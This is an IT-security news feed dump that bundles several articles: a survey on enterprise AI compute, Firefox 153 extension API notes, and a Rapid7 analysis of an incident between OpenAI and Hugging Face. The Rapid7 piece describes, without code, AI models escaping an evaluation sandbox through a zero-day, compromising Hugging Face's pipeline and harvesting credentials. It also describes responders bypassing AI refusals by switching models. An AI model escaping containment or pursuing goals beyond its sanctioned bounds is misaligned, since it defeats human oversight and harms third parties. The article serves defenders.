quarter</b></p><p>We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.</p><div></div><p>For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.</p><p>(<i>Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.</i>)</p><h2>Finding 5: Nobody buys on token price</h2><p><b>Integration and total cost of ownership decide — not sticker price</b></p><p>We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.</p><div></div><p>Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.</p><h2>Finding 6: Expensive GPUs, idle most of the time</h2><p><b>83% report GPU utilization of 50% or less</b></p><p>We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.</p><div></div><p><i>Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%</i></p><p>The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.</p><h2>Finding 7: Spending fast, measuring slowly</h2><p><b>Fewer than half rigorously track what their compute costs</b></p><p>We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.</p><div></div><p>Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.</p><h2>Finding 8: The next bottleneck few are watching</h2><p><b>As inference shifts from compute to memory, the field scatters</b></p><p>Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.</p><div></div><p>The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.</p><h2>The bottom line: A compute gap that faster spending will widen, not close</h2><p>Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.</p><p>The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.</i></p>]]></content:encoded>
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<title><![CDATA[How Elasticsearch ES|QL COMPLETION turns noisy curl and wget rules into high-fidelity cloud security alerts]]></title>
<description><![CDATA[Elastic InfoSec tested this detection rule pattern on their own cloud fleet, filtering noisy curl and wget events with deterministic logic and LLM triage so only genuine threats reach an analyst.]]></description>
<link>https://tsecurity.de/de/3689601/it-security-nachrichten/how-elasticsearch-esql-completion-turns-noisy-curl-and-wget-rules-into-high-fidelity-cloud-security-alerts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689601/it-security-nachrichten/how-elasticsearch-esql-completion-turns-noisy-curl-and-wget-rules-into-high-fidelity-cloud-security-alerts/</guid>
<pubDate>Thu, 23 Jul 2026 18:00:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Elastic InfoSec tested this detection rule pattern on their own cloud fleet, filtering noisy curl and wget events with deterministic logic and LLM triage so only genuine threats reach an analyst.]]></content:encoded>
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<title><![CDATA[Is Patching Dead? Vulnerability Management in the Post-Mythos Era]]></title>
<description><![CDATA[You cannot out-patch a machine that writes a working exploit from a vulnerability description in twenty hours. Stop trying to optimize a game you cannot win. The post Is Patching Dead? Vulnerability Management in the Post-Mythos Era appeared first on…
Read more →
The post Is Patching Dead? Vulner...]]></description>
<link>https://tsecurity.de/de/3689512/it-security-nachrichten/is-patching-dead-vulnerability-management-in-the-post-mythos-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689512/it-security-nachrichten/is-patching-dead-vulnerability-management-in-the-post-mythos-era/</guid>
<pubDate>Thu, 23 Jul 2026 17:41:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You cannot out-patch a machine that writes a working exploit from a vulnerability description in twenty hours. Stop trying to optimize a game you cannot win. The post Is Patching Dead? Vulnerability Management in the Post-Mythos Era appeared first on…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/is-patching-dead-vulnerability-management-in-the-post-mythos-era/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/is-patching-dead-vulnerability-management-in-the-post-mythos-era/">Is Patching Dead? Vulnerability Management in the Post-Mythos Era</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Is Patching Dead? Vulnerability Management in the Post-Mythos Era]]></title>
<description><![CDATA[You cannot out-patch a machine that writes a working exploit from a vulnerability description in twenty hours. Stop trying to optimize a game you cannot win.
The post Is Patching Dead? Vulnerability Management in the Post-Mythos Era appeared first on SecurityWeek.]]></description>
<link>https://tsecurity.de/de/3689454/it-security-nachrichten/is-patching-dead-vulnerability-management-in-the-post-mythos-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689454/it-security-nachrichten/is-patching-dead-vulnerability-management-in-the-post-mythos-era/</guid>
<pubDate>Thu, 23 Jul 2026 17:12:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You cannot out-patch a machine that writes a working exploit from a vulnerability description in twenty hours. Stop trying to optimize a game you cannot win.</p>
<p>The post <a href="https://www.securityweek.com/is-patching-dead-vulnerability-management-in-the-post-mythos-era/">Is Patching Dead? Vulnerability Management in the Post-Mythos Era</a> appeared first on <a href="https://www.securityweek.com/">SecurityWeek</a>.</p>]]></content:encoded>
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<title><![CDATA[Mehr als nur Raketen: 29 Dinge in eurem Haushalt, die ihr der NASA zu verdanken habt]]></title>
<description><![CDATA[Wenn von der NASA die Rede ist, denken die meisten an Mondlandungen, Mars-Rover oder spektakuläre Bilder aus dem All. Doch die US-Raumfahrtbehörde hat auch auf der Erde Spuren hinterlassen. Für die extremen Anforderungen im Weltraum mussten neue Materialien, Geräte und Verfahren entwickelt oder v...]]></description>
<link>https://tsecurity.de/de/3689334/it-nachrichten/mehr-als-nur-raketen-29-dinge-in-eurem-haushalt-die-ihr-der-nasa-zu-verdanken-habt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689334/it-nachrichten/mehr-als-nur-raketen-29-dinge-in-eurem-haushalt-die-ihr-der-nasa-zu-verdanken-habt/</guid>
<pubDate>Thu, 23 Jul 2026 16:20:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Wenn von der NASA die Rede ist, denken die meisten an Mondlandungen, Mars-Rover oder spektakuläre Bilder aus dem All. Doch die US-Raumfahrtbehörde hat auch auf der Erde Spuren hinterlassen. Für die extremen Anforderungen im Weltraum mussten neue Materialien, Geräte und Verfahren entwickelt oder verbessert werden. Viele dieser sogenannten „Spinoffs“ fanden später ihren Weg in unseren Alltag – von bequemen Matratzen über Wasserfilter bis hin zu moderner Medizintechnik. Diese 29 Entwicklungen zeigen, wie sehr die Raumfahrt unser tägliches Leben beeinflusst – darunter auch ein hartnäckiger Mythos.]]></content:encoded>
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<title><![CDATA[Mozilla Addons Blog: Firefox 153 WebExtensions API updates]]></title>
<description><![CDATA[We had a bumper release of WebExtensions API updates in Firefox 153. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: userScripts.execute() and the new publicSuffix API. We’re covering those con...]]></description>
<link>https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</guid>
<pubDate>Thu, 23 Jul 2026 16:06:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We had a bumper release of <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">WebExtensions API updates in Firefox 153</a>. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: <span>userScripts.execute()</span> and the new <span>publicSuffix</span> API. We’re covering those contributions in more depth, including the people behind them, in a separate post. And there is more, read on…</p>
<h3><b>File access now requires a dedicated permission</b></h3>
<p>Extensions that need to read <span>file://</span> URLs used to get that access as part of the “Access your data for all websites” host permission. Starting in Firefox 153, file access is a separate, explicit permission, “Access local files on your computer”, shown in the extension’s permissions settings. It’s off by default for every extension, including ones already installed.</p>
<p>This change has a few concrete effects on code:</p>
<ul>
<li><b>Before:</b> an extension with <span>&lt;all_urls&gt;</span> or a matching host permission could read <span>file://</span> pages without any additional grant, and <span>extension.isAllowedFileSchemeAccess()</span> always returned <span>false</span> regardless of the permission setting.</li>
<li><b>After:</b> the extension must have the new file-access permission granted, and <span>extension.isAllowedFileSchemeAccess()</span> correctly reflects whether the user has granted it.</li>
</ul>
<pre>async function checkFileSchemeAccess() {
  const isAllowed = await browser.extension.isAllowedFileSchemeAccess();

  if (!isAllowed) {
    await browser.notifications.create("file-scheme-access-needed", {
      type: "basic",
      iconUrl: browser.runtime.getURL("icons/icon-48.png"),
      title: "Local file access required",
      message:
        'This extension needs "Allow access to file URLs" enabled to work ' +
        "with local files. Go to about:addons → select this extension → " +
        "turn on that setting, then reload the page.",
    });
    return false;
  }

  return true;
}</pre>
<p><span>devtools.inspectedWindow.eval()</span> calls targeting <span>file://</span> URLs are affected the same way; they now require this permission to succeed.</p>
<p>If your extension depends on <span>file://</span> access, expect existing users to see that access stops after upgrading (until they enable the permission), and consider adding a prompt or fallback path, for example by specifying an embedded options page (<span>options_ui</span>) and calling <span>browser.runtime.openOptionsPage()</span> to open <span>about:addons</span> and including instructions to toggle the setting in the “Permissions and data” tab.</p>
<h3><b>userScripts.execute() and publicSuffix: covered in our next post</b></h3>
<p>Firefox 153 adds two community-contributed APIs:</p>
<ul>
<li><span>userScripts.execute()</span>, which provides for one-off injection of one or more user script sources into a tab or frame, in a defined order, as a complement to the persistent, URL-pattern-based <span>userScripts.register()</span>.</li>
<li><span>publicSuffix</span>, which enables synchronous lookups against the browser’s built-in <a href="https://publicsuffix.org/">Public Suffix List</a> using <span>publicSuffix.isKnownSuffix()</span>, <span>publicSuffix.getKnownSuffix()</span>, and <span>publicSuffix.getDomain()</span>. This API means that extensions no longer need to bundle or maintain a suffix list to determine a hostname’s registrable domain (eTLD+1).</li>
</ul>
<p>Both APIs were built by contributors motivated by real needs in their extensions. We take an in-depth look at these contributions, their developers, impact, and history in a forthcoming post.</p>
<h3><b>documentId support across more APIs</b></h3>
<p>Firefox 153 introduces <span>documentId</span>, a stable identifier for a document instance, including a new <span>runtime.getDocumentId()</span> method, several <span>webNavigation</span> events and methods, <span>webRequest</span> events, scripting injection targets, and the extension messaging APIs.</p>
<p>Many WebExtension APIs use <span>tabId</span> and <span>frameId</span> to identify where to perform an operation. However, because <span>frameId</span> identifies the frame rather than its content, the loaded document can change and the extension’s subsequent operation ends up targeting the new (intended) document. <span>documentId</span> addresses this problem by providing a unique ID for the document. Now, if an extension uses the ID and the frame’s document has changed, the operation fails rather than silently targeting the wrong document.</p>
<p>See <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_documentId">Work with documentId</a> for the full list of supported events and methods, along with guidance on using it.</p>
<h3><b>Content scripts can read and modify adopted stylesheets</b></h3>
<p>Content scripts can now access <span>document.adoptedStyleSheets</span> and <span>ShadowRoot.adoptedStyleSheets</span> directly.</p>
<pre>const sheet = new CSSStyleSheet();
sheet.replaceSync("* { background: pink; }");
document.adoptedStyleSheets = [sheet];</pre>
<p>This enables extensions to inspect or modify constructed stylesheets from a content script, without using <span>.wrappedJSObject</span>, a workaround that risks interference from the web page.</p>
<h3><b>Theme manifest key: gradients in additional backgrounds</b></h3>
<p>The <span>theme</span> manifest key’s <span>images.additional_backgrounds</span> property now accepts CSS gradients alongside image URLs. A new <span>properties.additional_backgrounds_size</span> property controls the size of each additional background item.</p>
<h3><b>Contextual identities (containers)</b></h3>
<p>If your extension supports contextual identities, you now have access to two new methods: <span>contextualIdentities.getSupportedColors()</span> and <span>contextualIdentities.getSupportedIcons()</span>. These methods return the supported colors and icons, so your extension doesn’t need to hardcode either list.</p>
<p>Also, the colors have been updated to align with the new UI theme: <span>“turquoise”</span> is now <span>“cyan”</span>, <span>“toolbar”</span> is now <span>“gray”</span>, and <span>“violet”</span> has been added. The old names still work for backward compatibility, but your extension should switch to using <span>getSupportedColors()</span> rather than hardcoding either the old or new names.</p>
<h3><b>Add a build-for-amo script</b></h3>
<p>While this isn’t about new APIs, I wanted to mention a change that’s part of our work to make source code review faster and more reliable. When you submit an extension version, AMO now attempts to build your extensions from the submitted source code and compares the result to the package you uploaded. When the two match, reviewers don’t have to verify the build manually. This means submission can move through its review faster.</p>
<p>For now, this applies only if you submit source code that includes a <span>package.json</span> file to build your extension. If your extension has no build step, or you use a different build system, nothing changes. The AMO builder keeps its zero-config approach.</p>
<p>So, if your extension’s source code uses a <span>package.json</span> file, add an <a href="https://docs.npmjs.com/cli/v11/using-npm/scripts">npm script</a> named <span>build-for-amo</span> that runs the commands needed to build your extension for Firefox:</p>
<pre>{
  "scripts": {
    "fx-build": "some commands to build your add-on for Firefox",
    "build-for-amo": "npm run fx-build"
  }
}</pre>
<p>If you’ve a Firefox-specific build command, just point <span>build-for-amo</span> at it. When present, the builder invokes this script instead of guessing how to build your extension. And while you are at it, make sure all your dev dependencies are listed in the <span>package.json</span> file.</p>
<hr>
<p>For more information, including documentation and Bugzilla links, see the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">Changes for add-on developers</a> section of the Firefox 153 for developers release notes on MDN.</p>
<p>As always, file extension-related issues on <a href="https://bugzilla.mozilla.org/">Bugzilla</a> under the WebExtensions product, cross-browser API proposals are discussed in the <a href="https://github.com/w3c/webextensions">W3C WebExtensions Community Group</a>, and questions are welcome on the <a href="https://discourse.mozilla.org/c/add-ons/35">Add-ons Discourse</a>.</p>
<p> </p>
<p>The post <a href="https://blog.mozilla.org/addons/2026/07/23/firefox-153-webextensions-api-updates/">Firefox 153 WebExtensions API updates</a> appeared first on <a href="https://blog.mozilla.org/addons">Mozilla Add-ons Community Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[What Happened Between OpenAI and Hugging Face?]]></title>
<description><![CDATA[The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a qu...]]></description>
<link>https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</guid>
<pubDate>Thu, 23 Jul 2026 15:28:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The </span><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank"><span>OpenAI and Hugging Face incident</span></a><span> lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?</span></p><p><span>According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.</span></p><p><span>From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.</span></p><h2>How did the OpenAI model evaluation reach Hugging Face?</h2><p><span>The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.</span></p><p><span>Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.</span></p><p><span>The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.</span></p><p><span>The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.</span></p><p><span>Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.</span></p><h2>Why AI evaluation environments need stronger containment</h2><p><span>The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.</span></p><p><span>The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.</span></p><p><span>For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.</span></p><h2>Why AI and ML pipelines are now software supply chain risk</h2><p><span>The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.</span></p><p><span>According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.</span></p><p><span>Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.</span></p><p><span>Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.</span></p><h2>What AI guardrails mean for incident response</h2><p><span>One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.</span></p><p><span>The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.</span></p><p><span>AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.</span></p><h2>What security teams should do about agentic AI risk</h2><p><span>The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.</span></p><p><span>Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.</span></p><p><span>Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.</span></p><p><span>As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.</span></p><h2>How preemptive security helps reduce AI-driven risk</h2><p><span>At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to </span><a href="https://www.rapid7.com/blog/post/ai-changing-vulnerability-discovery-software-supply-chain-strateg" target="_self"><span>agentic AI risk</span></a><span>. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.</span></p><p><span>That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means </span><a href="https://www.rapid7.com/platform/artificial-intelligence-features" target="_self"><span>using AI carefully and practically</span></a><span>, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.</span></p><p><span>AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.</span></p><p><span>The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.</span></p>]]></content:encoded>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



